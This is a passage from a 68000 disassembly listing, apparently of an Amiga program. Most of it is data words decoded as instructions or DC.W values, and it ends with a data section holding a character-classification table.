  6159.     DC.W    $9C6F            ;3A38
  6160.     DC.W    $9AAF            ;3A3A
  6161.     SUB.L    D5,D4            ;3A3C: 9885
  6162.     CHK    D3,D0            ;3A3E: 4183
  6163.     DC.W    $F715            ;3A40
  6164.     DC.W    $BEAB            ;3A42
  6165.     SUBA    D3,A6            ;3A44: 9CC3
  6166.     DC.W    $41B1            ;3A46
  6167.     CMPI    #$41B1,D4        ;3A48: 0C4441B1
  6168.     ADDA.L    -(A7),A4        ;3A4C: D9E7
  6169.     SUB.L    D3,-(A4)        ;3A4E: 97A4
  6170.     DC.W    $BAFD            ;3A50
  6171.     SUB.L    D5,-(A3)        ;3A52: 9BA3
  6172.     CHK    D3,D0            ;3A54: 4183
  6173.     SUB.L    D1,(A5)            ;3A56: 9395
  6174.     DC.W    $4163            ;3A58
  6175.     DC.W    $BCED            ;3A5A
  6176.     DC.W    $FD15            ;3A5C
  6177.     DC.W    $BD6B            ;3A5E
  6178.     DC.W    $F041            ;3A60
  6179.     DC.W    $4035            ;3A62
  6180.     DC.W    $F46F            ;3A64
  6181.     ADDA    (A3)+,A4        ;3A66: D8DB
  6182.     DC.W    $FD15            ;3A68
  6183.     EOR.L    D6,(A7)            ;3A6A: BD97
  6184.     SUBA    -(A6),A6        ;3A6C: 9CE6
  6185.     DC.W    $FC6D            ;3A6E
  6186.     DC.W    $FD15            ;3A70
  6187.     EOR.B    D7,-(A5)        ;3A72: BF25
  6188.     SUBA    -(A6),A4        ;3A74: 98E6
  6189.     ADDQ    #5,-(A4)        ;3A76: 5A64
  6190.     SUBA    (A3),A3            ;3A78: 96D3
  6191.     DC.W    $BEEF            ;3A7A
  6192.     DC.W    $BAEF            ;3A7C
  6193.     SUB.L    (A5),D1            ;3A7E: 9295
  6194.     DC.W    $BAEB            ;3A80
  6195.     DC.W    $F001            ;3A82
  6196.     CHK    (A1)+,D0        ;3A84: 4199
  6197.     DC.W    $F608            ;3A86
  6198.     DC.W    $4111            ;3A88
  6199.     DC.W    $F515            ;3A8A
  6200.     CMPA    D7,A5            ;3A8C: BAC7
  6201.     DC.W    $F47A            ;3A8E
  6202.     DC.W    $D8ED            ;3A90
  6203.     DC.W    $DFFF            ;3A92
  6204.     DC.W    $F230            ;3A94
  6205.     AND.B    D0,(A0)            ;3A96: C110
  6206.     SUBA.L    (A5),A0            ;3A98: 91D5
  6207.     EOR.B    D6,(A1)            ;3A9A: BD11
  6208.     DC.W    $F09A            ;3A9C
  6209.     DC.W    $9CE8            ;3A9E
  6210.     DC.W    $F001            ;3AA0
  6211.     DC.W    $4149            ;3AA2
  6212.     SUB.L    (A5),D1            ;3AA4: 9295
  6213.     DC.W    $BD31            ;3AA6
  6214.     DC.W    $FF15            ;3AA8
  6215.     EOR.B    D6,(A5)+        ;3AAA: BD1D
  6216.     SUB    -13808(A6),D7        ;3AAC: 9E6ECA10
  6217.     DC.W    $F041            ;3AB0
  6218.     DC.W    $4143            ;3AB2
  6219.     DC.W    $F46F            ;3AB4
  6220.     ADDX.B    -(A3),-(A4)        ;3AB6: D90B
  6221.     DC.W    $90EF            ;3AB8
  6222.     DC.W    $9CEF            ;3ABA
  6223.     SUB.L    (A5),D2            ;3ABC: 9495
  6224.     CMPA.L    -25886(A7),A6        ;3ABE: BDEF9AE2
  6225.     DC.W    $F041            ;3AC2
  6226.     DC.W    $4161            ;3AC4
  6227.     DC.W    $F46F            ;3AC6
  6228.     DC.W    $D93B            ;3AC8
  6229.     CMP    D2,D1            ;3ACA: B242
  6230.     DC.W    $BEEF            ;3ACC
  6231.     DC.W    $BEBD            ;3ACE
  6232.     CMPA    -(A7),A7        ;3AD0: BEE7
  6233.     ADD.B    -(A5),D4        ;3AD2: D825
  6234.     SUBA    D2,A7            ;3AD4: 9EC2
  6235.     CMPA    -(A3),A7        ;3AD6: BEE3
  6236.     MOVEA.L    D2,A7            ;3AD8: 2E42
  6237.     DC.W    $BEFF            ;3ADA
  6238.     DC.W    $0E53            ;3ADC
  6239.     CMPA    -16662(A7),A7        ;3ADE: BEEFBEEA
  6240.     ADD    D0,(A5)            ;3AE2: D155
  6241.     SUBA    -25886(A0),A6        ;3AE4: 9CE89AE2
  6242.     DC.W    $F041            ;3AE8
  6243.     DC.W    $4175            ;3AEA
  6244.     DC.W    $F46F            ;3AEC
  6245.     ADDX    D1,D4            ;3AEE: D941
  6246.     DC.W    $F482            ;3AF0
  6247.     CMP.L    (A3)+,D7        ;3AF2: BE9B
  6248.     ADD    D7,D4            ;3AF4: D847
  6249.     CMP    D2,D1            ;3AF6: B242
  6250.     DC.W    $BEEE            ;3AF8
  6251.     ADDQ.L    #3,-(A7)        ;3AFA: 56A7
  6252.     CMP.L    (A3),D7            ;3AFC: BE93
  6253.     DC.W    $DC71            ;3AFE
  6254.     DC.W    $DF73            ;3B00
  6255.     SUBA    D2,A7            ;3B02: 9EC2
  6256.     CMP.L    (A3),D7            ;3B04: BE93
  6257.     SUB.L    (A7),D1            ;3B06: 9297
  6258.     DC.W    $BEEB            ;3B08
  6259.     DC.W    $DFEF            ;3B0A
  6260.     NEGX    (A3)            ;3B0C: 4053
  6261.     DC.W    $D9F9            ;3B0E
  6262.     DC.W    $90EF            ;3B10
  6263.     SUB.L    (A5),D1            ;3B12: 9295
  6264.     EOR.L    D6,(A7)+        ;3B14: BD9F
  6265.     SUBA    (A5),A6            ;3B16: 9CD5
  6266.     DC.W    $BD6B            ;3B18
  6267.     SUBA    (A3),A5            ;3B1A: 9AD3
  6268.     CMPA    -17150(A7),A7        ;3B1C: BEEFBD02
  6269.     DC.W    $F041            ;3B20
  6270.     DC.W    $410D            ;3B22
  6271.     DC.W    $F46F            ;3B24
  6272.     DC.W    $D9EF            ;3B26
  6273.     CMP    -(A3),D7        ;3B28: BE63
  6274.     DC.W    $92EF            ;3B2A
  6275.     SUBA    -25880(A7),A6        ;3B2C: 9CEF9AE8
  6276.     SUB.L    (A5),D2            ;3B30: 9495
  6277.     CMP    -(A3),D6        ;3B32: BC63
  6278.     SUBA    D2,A4            ;3B34: 98C2
  6279.     CMP.L    (A3),D7            ;3B36: BE93
  6280.     DC.W    $F041            ;3B38
  6281.     DC.W    $4139            ;3B3A
  6282.     DC.W    $0E42            ;3B3C
  6283.     CMP.L    (A3),D7            ;3B3E: BE93
  6284.     ADDA.L    -(A5),A4        ;3B40: D9E5
  6285.     ADD.L    -25880(A5),D7        ;3B42: DEAD9AE8
  6286.     DC.W    $9CE9            ;3B46
  6287.     DC.W    $F001            ;3B48
  6288.     DC.W    $413F            ;3B4A
  6289.     DC.W    $9CE9            ;3B4C
  6290.     DC.W    $FC6D            ;3B4E
  6291.     AND.B    (A0),D4            ;3B50: C810
  6292.     DC.W    $F041            ;3B52
  6293.     DC.W    $4151            ;3B54
  6294.     ADDX.L    -(A1),-(A7)        ;3B56: DF89
  6295.     ADDA    D3,A4            ;3B58: D8C3
  6296.     SUBA    (A5),A4            ;3B5A: 98D5
  6297.     DC.W    $BDAB            ;3B5C
  6298.     ADDX.B    -(A3),-(A7)        ;3B5E: DF0B
  6299.     DC.W    $DFEF            ;3B60
  6300.     DC.W    $40AB            ;3B62
  6301.     DC.W    $FF15            ;3B64
  6302.     MOVE    SR,(A5)+        ;3B66: 40DD
  6303.     SUBA    -(A7),A5        ;3B68: 9AE7
  6304.     SUBA    (A3),A4            ;3B6A: 98D3
  6305.     DC.W    $BEEF            ;3B6C
  6306.     CMP.B    D3,D5            ;3B6E: BA03
  6307.     DC.W    $DF3B            ;3B70
  6308.     SUBA    -26430(A0),A5        ;3B72: 9AE898C2
  6309.     CMP.L    (A3),D7            ;3B76: BE93
  6310.     MOVEA.L    (A5),A4            ;3B78: 2855
  6311.     CMPA.L    A1,A6            ;3B7A: BDC9
  6312.     DC.W    $6A55            ;3B7C
  6313.     CMPA.L    A5,A6            ;3B7E: BDCD
  6314.     ADD.B    D7,-8209(A3)        ;3B80: DF2BDFEF
  6315.     DC.W    $40CD            ;3B84
  6316.     DC.W    $9CE9            ;3B86
  6317.     DC.W    $F041            ;3B88
  6318.     DC.W    $4133            ;3B8A
  6319.     SUB.L    (A5),D1            ;3B8C: 9295
  6320.     CMP.B    (A1)+,D6        ;3B8E: BC19
  6321.     SUB.L    (A5),D2            ;3B90: 9495
  6322.     CMPA    D3,A6            ;3B92: BCC3
  6323.     OR.L    D2,(A3)            ;3B94: 8593
  6324.     NEG    (A3)+            ;3B96: 445B
  6325.     CMP.L    (A3)+,D7        ;3B98: BE9B
  6326.     SUBA    D2,A5            ;3B9A: 9AC2
  6327.     CMP.L    (A3)+,D7        ;3B9C: BE9B
  6328.     SUBA    (A5),A6            ;3B9E: 9CD5
  6329.     CMP.B    (A3),D6            ;3BA0: BC13
  6330.     DC.W    $F041            ;3BA2
  6331.     CHK    -254(A1),D0        ;3BA4: 41A9FF02
  6332.     DC.W    $BE6B            ;3BA8
  6333.     SUBA    (A5),A6            ;3BAA: 9CD5
  6334.     CMP.B    (A7)+,D6        ;3BAC: BC1F
  6335.     SUBA    -(A7),A5        ;3BAE: 9AE7
  6336.     DC.W    $F001            ;3BB0
  6337.     NEGX.L    (A3)+            ;3BB2: 409B
  6338.     SUB.L    (A7),D1            ;3BB4: 9297
  6339.     CMPA    -25432(A3),A7        ;3BB6: BEEB9CA8
  6340.     DC.W    $F001            ;3BBA
  6341.     CHK    -(A1),D1        ;3BBC: 43A1
  6342.     DC.W    $9EA8            ;3BBE
  6343.     CMP.L    D7,D1            ;3BC0: B287
  6344.     EOR.B    D6,(A4)+        ;3BC2: BD1C
  6345.     DC.W    $BEED            ;3BC4
  6346.     ADDA.L    -12784(A3),A4        ;3BC6: D9EBCE10
  6347.     DC.W    $F09A            ;3BCA
  6348.     SUBA    D7,A7            ;3BCC: 9EC7
  6349.     CMPA    -(A7),A7        ;3BCE: BEE7
  6350.     LSR    D2,D7            ;3BD0: E46F
  6351.     SUBQ    #5,-(A7)        ;3BD2: 5B67
  6352.     CMP.L    (A7)+,D1        ;3BD4: B29F
  6353.     EOR.B    D6,D6            ;3BD6: BD06
  6354.     DC.W    $B6ED            ;3BD8
  6355.     ADD.B    D1,D4            ;3BDA: D801
  6356.     SUBA    (A7)+,A6        ;3BDC: 9CDF
  6357.     DC.W    $B6EB            ;3BDE
  6358.     CMPI    #$BEFB,D7        ;3BE0: 0C47BEFB
  6359.     DC.W    $D80D            ;3BE4
  6360.     CMP    D7,D4            ;3BE6: B847
  6361.     CMPA    -16428(A7),A7        ;3BE8: BEEFBFD4
  6362.     DC.W    $BEFB            ;3BEC
  6363.     CMP    (A7)+,D4        ;3BEE: B85F
  6364.     CMPA    -16428(A7),A7        ;3BF0: BEEFBFD4
  6365.     CMPA    23398(A3),A3        ;3BF4: B6EB5B66
  6366.     BGT.S    LAB_0349        ;3BF8: 6E6E
  6367.     LSR    D7,D7            ;3BFA: EE6F
  6368.     DC.W    $FD15            ;3BFC
  6369.     CMP    A5,D6            ;3BFE: BC4D
  6370.     DC.W    $9C6F            ;3C00
  6371.     DC.W    $6F2F            ;3C02
  6372.     CMP    D7,D1            ;3C04: B247
  6373.     ROR.L    D5,D5            ;3C06: EABD
  6374.     ASL.L    #6,D6            ;3C08: ED86
  6375.     DC.W    $458F            ;3C0A
  6376.     ADD    D4,(A5)            ;3C0C: D955
  6377.     AND.B    (A0),D5            ;3C0E: CA10
  6378.     MULU    (A1),D7            ;3C10: CED1
  6379.     CMP.L    A7,D1            ;3C12: B28F
  6380.     DC.W    $F09A            ;3C14
  6381.     ADDA.L    -(A7),A4        ;3C16: D9E7
  6382.     ASL.B    D7,D7            ;3C18: EF27
  6383.     DC.W    $4117            ;3C1A
  6384.     DC.W    $F46D            ;3C1C
  6385.     DC.W    $F09A            ;3C1E
  6386.     AND.L    (A3),D6            ;3C20: CC93
  6387.     SUBQ    #6,-(A7)        ;3C22: 5D67
  6388.     DC.W    $2C6F            ;3C24
  6389.     DC.W    $D8E9            ;3C26
  6390.     OR    (A3),D7            ;3C28: 8E53
  6391.     DC.W    $F09E            ;3C2A
  6392.     ADDA    -(A7),A7        ;3C2C: DEE7
  6393.     DC.W    $AE53            ;3C2E
  6394.     CMP.L    A7,D7            ;3C30: BE8F
  6395.     DC.W    $AFAE            ;3C32
  6396.     DC.W    $BEEE            ;3C34
  6397.     DC.W    $CAEF            ;3C36
  6398.     ADDQ    #6,-(A7)        ;3C38: 5C67
  6399.     DC.W    $DE33            ;3C3A
  6400.     DC.W    $BEEF            ;3C3C
  6401.     DC.W    $BEFF            ;3C3E
  6402.     DC.W    $BEEF            ;3C40
  6403.     DC.W    $BEEF            ;3C42
  6404.     DC.W    $DFF3            ;3C44
  6405.     SUB.L    (A5),D1            ;3C46: 9295
  6406.     CMPA    (A3),A6            ;3C48: BCD3
  6407.     DC.W    $FD15            ;3C4A
  6408.     DC.W    $BF7B            ;3C4C
  6409.     SUBA    -(A6),A6        ;3C4E: 9CE6
  6410.     AND.B    (A1),D5            ;3C50: CA11
  6411.     DC.W    $F041            ;3C52
  6412.     DC.W    $4143            ;3C54
  6413.     DC.W    $9CEF            ;3C56
  6414.     DC.W    $D9FF            ;3C58
  6415.     DC.W    $F041            ;3C5A
  6416.     DC.W    $4149            ;3C5C
  6417.     DC.W    $DEEF            ;3C5E
  6418.     CMP    D1,D7            ;3C60: BE41
  6419.     DC.W    $F515            ;3C62
  6420.     DC.W    $BCBF            ;3C64
  6421.     DC.W    $F87A            ;3C66
  6422. LAB_0349:
  6423.     DC.W    $F09A            ;3C68
  6424.     SUB.L    (A7),D1            ;3C6A: 9297
  6425.     DC.W    $BEEB            ;3C6C
  6426.     DC.W    $FD15            ;3C6E
  6427.     DC.W    $BFB1            ;3C70
  6428.     DC.W    $FC86            ;3C72
  6429.     CMP.B    D5,D7            ;3C74: BE05
  6430.     DC.W    $CEEC            ;3C76
  6431.     DC.W    $F041            ;3C78
  6432.     DC.W    $4337            ;3C7A
  6433.     DC.W    $F46F            ;3C7C
  6434.     DC.W    $D9EF            ;3C7E
  6435.     CMP    -(A1),D7        ;3C80: BE61
  6436.     DC.W    $FF15            ;3C82
  6437.     CMPM.L    (A5)+,(A7)+        ;3C84: BF8D
  6438.     DC.W    $9FAF            ;3C86
  6439.     CMP    (A1),D7            ;3C88: BE51
  6440.     DC.W    $92AF            ;3C8A
  6441.     DC.W    $F041            ;3C8C
  6442.     DC.W    $41C1            ;3C8E
  6443.     DC.W    $F46F            ;3C90
  6444.     ADDX.L    D1,D4            ;3C92: D981
  6445.     DC.W    $FF15            ;3C94
  6446.     DC.W    $BCFD            ;3C96
  6447.     DC.W    $9E6F            ;3C98
  6448.     SUB.L    -24894(A7),D2        ;3C9A: 94AF9EC2
  6449.     CMPA    -(A7),A7        ;3C9E: BEE7
  6450.     DC.W    $CCEE            ;3CA0
  6451.     MULU    -25470(A7),D5        ;3CA2: CAEF9C82
  6452.     DC.W    $BEFF            ;3CA6
  6453.     DC.W    $9CBE            ;3CA8
  6454.     DC.W    $9FBE            ;3CAA
  6455.     DC.W    $410B            ;3CAC
  6456.     DC.W    $F041            ;3CAE
  6457.     DC.W    $410D            ;3CB0
  6458.     DC.W    $FF15            ;3CB2
  6459.     DC.W    $BF3B            ;3CB4
  6460.     DC.W    $9FAF            ;3CB6
  6461.     CMPA    A3,A7            ;3CB8: BECB
  6462.     LSR    D6,D7            ;3CBA: EC6F
  6463.     DC.W    $D9AB            ;3CBC
  6464.     LSL    D6,D7            ;3CBE: ED6F
  6465.     DC.W    $CCFF            ;3CC0
  6466.     DC.W    $F041            ;3CC2
  6467.     DC.W    $4125            ;3CC4
  6468.     DC.W    $F46F            ;3CC6
  6469.     ADDA    (A7),A4            ;3CC8: D8D7
  6470.     DC.W    $DFEF            ;3CCA
  6471.     DC.W    $BE6D            ;3CCC
  6472.     DC.W    $91EF            ;3CCE
  6473.     SUBA    (A5),A7            ;3CD0: 9ED5
  6474.     DC.W    $BF35            ;3CD2
  6475.     DC.W    $CCED            ;3CD4
  6476.     DC.W    $F041            ;3CD6
  6477.     DC.W    $4143            ;3CD8
  6478.     SUBA    (A5),A7            ;3CDA: 9ED5
  6479.     DC.W    $BF3F            ;3CDC
  6480.     DC.W    $F041            ;3CDE
  6481.     DC.W    $4167            ;3CE0
  6482.     DC.W    $9EF0            ;3CE2
  6483.     DC.W    $D8F3            ;3CE4
  6484.     SUB.L    (A5),D1            ;3CE6: 9295
  6485.     DC.W    $BF73            ;3CE8
  6486.     DC.W    $FD15            ;3CEA
  6487.     CMP.B    (A3)+,D7        ;3CEC: BE1B
  6488.     SUBA    -(A6),A6        ;3CEE: 9CE6
  6489.     SUBA    (A3),A5            ;3CF0: 9AD3
  6490.     DC.W    $BEEF            ;3CF2
  6491.     EOR.B    D6,D1            ;3CF4: BD01
  6492.     DC.W    $F041            ;3CF6
  6493.     DC.W    $410D            ;3CF8
  6494.     DC.W    $9CEF            ;3CFA
  6495.     DC.W    $D9EB            ;3CFC
  6496.     DC.W    $F041            ;3CFE
  6497.     DC.W    $4133            ;3D00
  6498.     SUB.L    (A7),D1            ;3D02: 9297
  6499.     DC.W    $BEEB            ;3D04
  6500.     SUB.L    (A5),D6            ;3D06: 9C95
  6501.     DC.W    $BF73            ;3D08
  6502.     DC.W    $F041            ;3D0A
  6503.     DC.W    $408D            ;3D0C
  6504.     DC.W    $DFEF            ;3D0E
  6505.     DC.W    $41BD            ;3D10
  6506.     SUB.L    (A5),D1            ;3D12: 9295
  6507.     EOR.L    D7,(A7)+        ;3D14: BF9F
  6508.     SUBA    (A3),A6            ;3D16: 9CD3
  6509.     DC.W    $BEEF            ;3D18
  6510.     MULS    (A7)+,D5        ;3D1A: CBDF
  6511.     DC.W    $F041            ;3D1C
  6512.     LEA    (A5),A0            ;3D1E: 41D5
  6513.     DC.W    $DEEF            ;3D20
  6514.     DC.W    $41CD            ;3D22
  6515.     SUBA    (A3),A6            ;3D24: 9CD3
  6516.     CMPA    -16624(A7),A7        ;3D26: BEEFBF10
  6517.     SUBA    (A5),A7            ;3D2A: 9ED5
  6518.     DC.W    $BF6F            ;3D2C
  6519.     MULU    -3942(A7),D5        ;3D2E: CAEFF09A
  6520.     SUB.L    (A5),D7            ;3D32: 9E95
  6521.     CMP    -(A5),D7        ;3D34: BE65
  6522.     ADDX.B    D3,D7            ;3D36: DF03
  6523.     DC.W    $F041            ;3D38
  6524.     DC.W    $415D            ;3D3A
  6525.     LSR    D6,D7            ;3D3C: EC6F
  6526.     DC.W    $F09A            ;3D3E
  6527.     ADDX.B    D7,D7            ;3D40: DF07
  6528.     DC.W    $BC6E            ;3D42
  6529.     CMPA    -16880(A7),A7        ;3D44: BEEFBE10
  6530.     DC.W    $F041            ;3D48
  6531.     DC.W    $4151            ;3D4A
  6532.     ADD.B    D1,D7            ;3D4C: DE01
  6533.     DC.W    $CCEF            ;3D4E
  6534.     SUB.L    (A5),D7            ;3D50: 9E95
  6535.     CMP.L    D3,D7            ;3D52: BE83
  6536.     ADDX.B    D5,D7            ;3D54: DF05
  6537.     DC.W    $D9BD            ;3D56
  6538.     DC.W    $DF37            ;3D58
  6539.     ADD.L    D4,-(A1)        ;3D5A: D9A1
  6540.     SUBA    (A3),A7            ;3D5C: 9ED3
  6541.     DIVU    (A5)+,D6        ;3D5E: 8CDD
  6542.     DC.W    $8EEF            ;3D60
  6543.     ADD.L    D7,-(A1)        ;3D62: DFA1
  6544.     DC.W    $D8AB            ;3D64
  6545.     DC.W    $FF15            ;3D66
  6546.     DC.W    $BE78            ;3D68
  6547.     DC.W    $FD15            ;3D6A
  6548.     CMP    -(A3),D7        ;3D6C: BE63
  6549.     DC.W    $FC6E            ;3D6E
  6550.     DIVU    D6,D6            ;3D70: 8CC6
  6551.     CMP.B    -21282(A7),D7        ;3D72: BE2FACDE
  6552.     DC.W    $AEEF            ;3D76
  6553.     SUB.L    -(A7),D5        ;3D78: 9AA7
  6554.     BMI.S    LAB_034A        ;3D7A: 6B2E
  6555.     SUBA.L    -(A5),A0        ;3D7C: 91E5
  6556.     ASR.L    #6,D6            ;3D7E: EC86
  6557.     CMP.B    -8365(A7),D7        ;3D80: BE2FDF53
  6558.     ADDA.L    A5,A4            ;3D84: D9CD
  6559.     DIVU    (A5),D6            ;3D86: 8CD5
  6560.     CMPA.L    (A7)+,A7        ;3D88: BFDF
  6561.     CMPI.L    #$BEE9D2E9,(A3)        ;3D8A: 0C93BEE9D2E9
  6562.     CMPI.L    #$BEEAD2EB,(A3)        ;3D90: 0C93BEEAD2EB
  6563.     DC.W    $DF75            ;3D96
  6564.     ADDA.L    -(A1),A4        ;3D98: D9E1
  6565.     DC.W    $9EB0            ;3D9A
  6566.     DIVU    (A5),D5            ;3D9C: 8AD5
  6567.     DC.W    $BFF5            ;3D9E
  6568.     EORI.L    #$BEE8D82B,(A3)        ;3DA0: 0A93BEE8D82B
  6569.     ADDA    -6560(A1),A7        ;3DA6: DEE9E660
  6570. LAB_034A:
  6571.     AND.B    (A0),D7            ;3DAA: CE10
  6572.     DC.W    $F09A            ;3DAC
  6573.     MULU    -3942(A7),D7        ;3DAE: CEEFF09A
  6574.     SUB.L    (A5),D7            ;3DB2: 9E95
  6575.     CMPA    -(A5),A7        ;3DB4: BEE5
  6576.     DC.W    $FCC7            ;3DB6
  6577.     DC.W    $BEEC            ;3DB8
  6578.     DC.W    $0E7F            ;3DBA
  6579.     DC.W    $F09A            ;3DBC
  6580.     DC.W    $BEB4            ;3DBE
  6581.     DC.W    $DA33            ;3DC0
  6582.     ADD.L    D0,D5            ;3DC2: DA80
  6583.     MULS    D1,D6            ;3DC4: CDC1
  6584.     ADD.L    D6,D1            ;3DC6: D286
  6585.     ADD.L    (A5)+,D6        ;3DC8: DC9D
  6586.     ADD.L    D7,(A5)+        ;3DCA: DF9D
  6587.     MULS    26146(A7),D3        ;3DCC: C7EF6622
  6588.     BRA.S    LAB_034B        ;3DD0: 6022
  6589.     BMI.S    LAB_034C        ;3DD2: 6B32
  6590.     BLE.S    LAB_034D        ;3DD4: 6F34
  6591.     MOVEQ    #127,D0            ;3DD6: 707F
  6592.     BVC.S    LAB_034F        ;3DD8: 6838
  6593.     DC.W    $6623            ;3DDA
  6594.     DC.W    $6523            ;3DDC
  6595.     DC.W    $7D51            ;3DDE
  6596.     SUBQ    #3,24088(A3)        ;3DE0: 576B5E18
  6597.     NOT    (A1)            ;3DE4: 4651
  6598.     BVC.S    LAB_0351        ;3DE6: 6838
  6599.     DC.W    $6A25            ;3DE8
  6600.     BSR.S    LAB_034E        ;3DEA: 6124
  6601.     MOVEQ    #62,D0            ;3DEC: 703E
  6602.     MOVE.L    -(A5),D5        ;3DEE: 2A25
  6603.     BSR.S    LAB_0350        ;3DF0: 6124
  6604.     MOVEQ    #62,D0            ;3DF2: 703E
  6605. LAB_034B:
  6606.     DC.W    $2A35            ;3DF4
  6607.     DC.W    $6151            ;3DF6
  6608.     EORI    #$2557,D1        ;3DF8: 0A412557
  6609.     DC.W    $3154            ;3DFC
  6610.     DC.W    $0219            ;3DFE
  6611.     DC.W    $411D            ;3E00
  6612.     DC.W    $4B71            ;3E02
  6613.     MOVEQ    #35,D0            ;3E04: 7023
  6614. LAB_034C:
  6615.     DC.W    $7738            ;3E06
  6616.     DC.W    $2A35            ;3E08
  6617. LAB_034D:
  6618.     BSR.S    LAB_0353        ;3E0A: 615C
  6619.     DC.W    $0E1C            ;3E0C
  6620.     DC.W    $4518            ;3E0E
  6621. LAB_034E:
  6622.     DC.W    $4871            ;3E10
  6623. LAB_034F:
  6624.     CLR.B    D3            ;3E12: 4203
  6625.     DC.W    $4B1C            ;3E14
  6626. LAB_0350:
  6627.     MOVEA    26932(A5),A7        ;3E16: 3E6D6934
  6628.     MOVEA    (A4)+,A5        ;3E1A: 3A5C
  6629.     DC.W    $0E03            ;3E1C
  6630.     DC.W    $4701            ;3E1E
  6631. LAB_0351:
  6632.     ADDQ    #8,30(A1,D5.W)        ;3E20: 5071501E
  6633.     MOVEA    29240(A5),A7        ;3E24: 3E6D7238
  6634.     MOVEQ    #36,D3            ;3E28: 7624
  6635.     DC.W    $7726            ;3E2A
  6636.     DC.W    $6B23            ;3E2C
  6637.     BLE.S    LAB_0352        ;3E2E: 6F22
  6638.     BGE.S    LAB_0354        ;3E30: 6C3E
  6639.     MOVEQ    #17,D2            ;3E32: 7411
  6640.     MOVEQ    #35,D0            ;3E34: 7023
  6641.     DC.W    $7738            ;3E36
  6642.     DC.W    $2A35            ;3E38
  6643.     DC.W    $616F            ;3E3A
  6644.     BCHG    D4,(A3)+        ;3E3C: 095B
  6645.     NEGX.B    (A0)            ;3E3E: 4010
  6646.     ADDQ.B    #8,(A0)            ;3E40: 5010
  6647.     BCHG    D4,(A3)+        ;3E42: 095B
  6648.     DC.W    $453F            ;3E44
  6649.     DC.W    $6B25            ;3E46
  6650.     BGE.S    LAB_0355        ;3E48: 6C34
  6651.     MOVEQ    #113,D3            ;3E4A: 7671
  6652.     DC.W    $3571            ;3E4C
  6653.     DC.W    $6638            ;3E4E
  6654.     MOVEQ    #52,D0            ;3E50: 7034
  6655. LAB_0352:
  6656.     DC.W    $7771            ;3E52
  6657.     MOVEQ    #57,D0            ;3E54: 7039
  6658.     DC.W    $6171            ;3E56
  6659.     BRA.S    LAB_0355        ;3E58: 6024
  6660.     DC.W    $7725            ;3E5A
  6661.     DC.W    $2570            ;3E5C
  6662.     MOVE.L    (A6),D2            ;3E5E: 2416
  6663.     MOVEQ    #52,D3            ;3E60: 7634
  6664.     DC.W    $6125            ;3E62
  6665.     MOVEQ    #113,D7            ;3E64: 7E71
  6666.     MOVEQ    #62,D0            ;3E66: 703E
  6667. LAB_0353:
  6668.     MOVE.L    (A3),D2            ;3E68: 2413
  6669.     DC.W    $411E            ;3E6A
  6670.     DC.W    $4871            ;3E6C
  6671.     DC.W    $653F            ;3E6E
  6672. LAB_0354:
  6673.     DC.W    $6071            ;3E70
  6674.     NOT.B    (A6)+            ;3E72: 461E
  6675.     DC.W    $4F1E            ;3E74
  6676.     ADDQ    #3,(A4)+        ;3E76: 565C
  6677.     DC.W    $0E5C            ;3E78
  6678.     DC.W    $0E7F            ;3E7A
  6679.     BCHG    D4,(A3)+        ;3E7C: 095B
  6680. LAB_0355:
  6681.     SUBQ.B    #2,D4            ;3E7E: 5504
  6682.     DC.W    $4D05            ;3E80
  6683.     BCHG    D4,(A3)+        ;3E82: 095B
  6684.  
  6685.  
  6686.     SECTION S_1,DATA
  6687.  
  6688. SECSTRT_1:
  6689.     DS.W    1            ;3E84
  6690.     DC.W    $1000            ;3E86
  6691.     DS.W    1            ;3E88
  6692.     DC.W    $4000            ;3E8A
  6693.     DS.W    1            ;3E8C
  6694.     DC.W    $0001            ;3E8E
  6695.     DS.W    5            ;3E90
  6696.     DC.W    $0001            ;3E9A
  6697.     DS.W    3            ;3E9C
  6698.     DC.W    $0001            ;3EA2
  6699.     DS.W    1            ;3EA4
  6700.     DC.W    $0001            ;3EA6
  6701.     DS.W    1            ;3EA8
  6702.     DC.W    $0001            ;3EAA
  6703.     DS.W    1            ;3EAC
  6704.     DC.W    $0001            ;3EAE
  6705.     DC.W    $0020            ;3EB0
  6706.     DC.W    $2020            ;3EB2
  6707.     DC.W    $2020            ;3EB4
  6708.     DC.W    $2020            ;3EB6
  6709.     DC.W    $2020            ;3EB8
  6710.     DC.W    $2828            ;3EBA
  6711.     DC.W    $2828            ;3EBC
  6712.     DC.W    $2820            ;3EBE
  6713.     DC.W    $2020            ;3EC0
  6714.     DC.W    $2020            ;3EC2
  6715.     DC.W    $2020            ;3EC4
  6716.     DC.W    $2020            ;3EC6
  6717.     DC.W    $2020            ;3EC8
  6718.     DC.W    $2020            ;3ECA
  6719.     DC.W    $2020            ;3ECC
  6720.     DC.W    $2020            ;3ECE
  6721.     DC.W    $2048            ;3ED0
  6722.     DC.W    $1010            ;3ED2
  6723.     DC.W    $1010            ;3ED4
  6724.     DC.W    $1010            ;3ED6
  6725.     DC.W    $1010            ;3ED8
  6726.     DC.W    $1010            ;3EDA
  6727.     DC.W    $1010            ;3EDC
  6728.     DC.W    $1010            ;3EDE
  6729.     DC.W    $1084            ;3EE0
  6730.     DC.W    $8484            ;3EE2
  6731.     DC.W    $8484            ;3EE4
  6732.     DC.W    $8484            ;3EE6
  6733.     DC.W    $8484            ;3EE8
  6734.     DC.W    $8410            ;3EEA
  6735.     DC.W    $1010            ;3EEC
  6736.     DC.W    $1010            ;3EEE
  6737.     DC.W    $1010            ;3EF0
  6738.     DC.W    $8181            ;3EF2
  6739.     DC.W    $8181            ;3EF4
  6740.     DC.W    $8181            ;3EF6
  6741.     DC.W    $0101            ;3EF8
  6742.     DC.W    $0101            ;3EFA
  6743.     DC.W    $0101            ;3EFC
  6744.     DC.W    $0101            ;3EFE
  6745.     DC.W    $0101            ;3F00
  6746.     DC.W    $0101            ;3F02
  6747.     DC.W    $0101            ;3F04
  6748.     DC.W    $0101            ;3F06
  6749.     DC.W    $0101            ;3F08
  6750.     DC.W    $0101            ;3F0A
  6751.     DC.W    $1010            ;3F0C
  6752.     DC.W    $1010            ;3F0E
  6753.     DC.W    $1010            ;3F10
  6754.     DC.W    $8282            ;3F12
  6755.     DC.W    $8282            ;3F14
  6756.     DC.W    $8282            ;3F16
  6757.     DC.W    $0202            ;3F18
  6758.     DC.W    $0202            ;3F1A
  6759.     DC.W    $0202            ;3F1C
  6760.     DC.W    $0202            ;3F1E
  6761.     DC.W    $0202            ;3F20
  6762.     DC.W    $0202            ;3F22
  6763.     DC.W    $0202            ;3F24
  6764.     DC.W    $0202            ;3F26
  6765.     DC.W    $0202            ;3F28
  6766.     DC.W    $0202            ;3F2A
